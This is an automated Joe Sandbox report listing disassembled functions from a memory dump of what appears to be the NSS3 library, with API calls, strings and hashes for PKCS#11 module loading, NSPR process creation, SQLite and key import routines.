Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,4F39410B,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

FC_GetFunctionList, xrefs: 6C68C098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D
NSC_ModuleDBFunc, xrefs: 6C68C0FC
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
NSS_ReturnModuleSpecData, xrefs: 6C68C275
NSC_GetInterface, xrefs: 6C68C04F
NSC_GetFunctionList, xrefs: 6C68C093
nss_mod_log, xrefs: 6C68C3CC
PKCS 11, xrefs: 6C68C2F9, 6C68C314
Vendor NSS FIPS Interface, xrefs: 6C68C34A
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
FC_GetInterface, xrefs: 6C68C054

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

D, xrefs: 6C764396
NSPR_INHERIT_FDS=, xrefs: 6C7641E9
=, xrefs: 6C7644F8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

too many references to "%s": max 65535, xrefs: 6C602FB6
unsafe use of virtual table "%s", xrefs: 6C6030D1
no such table: %s, xrefs: 6C6026AC
%s.%s.%s, xrefs: 6C60302D
multiple recursive references: %s, xrefs: 6C6022E0
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
no such index: "%s", xrefs: 6C60319D
a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
'%s' is not a function, xrefs: 6C602FD2
%s.%s, xrefs: 6C602D68
table %s has %d values for %d columns, xrefs: 6C60316C
H, xrefs: 6C60322D
H, xrefs: 6C60329F
recursive reference in a subquery: %s, xrefs: 6C6022E5
access to view "%s" prohibited, xrefs: 6C602F4A
no tables specified, xrefs: 6C6026BE
cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
too many columns in result set, xrefs: 6C603012

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts4aux, xrefs: 6C63ECF9
fts3, xrefs: 6C63F247
unicode61, xrefs: 6C63EDB5
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
fts4, xrefs: 6C63F2AD
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
simple, xrefs: 6C63ED79
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
porter, xrefs: 6C63ED97
fts3tokenize, xrefs: 6C63F30F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
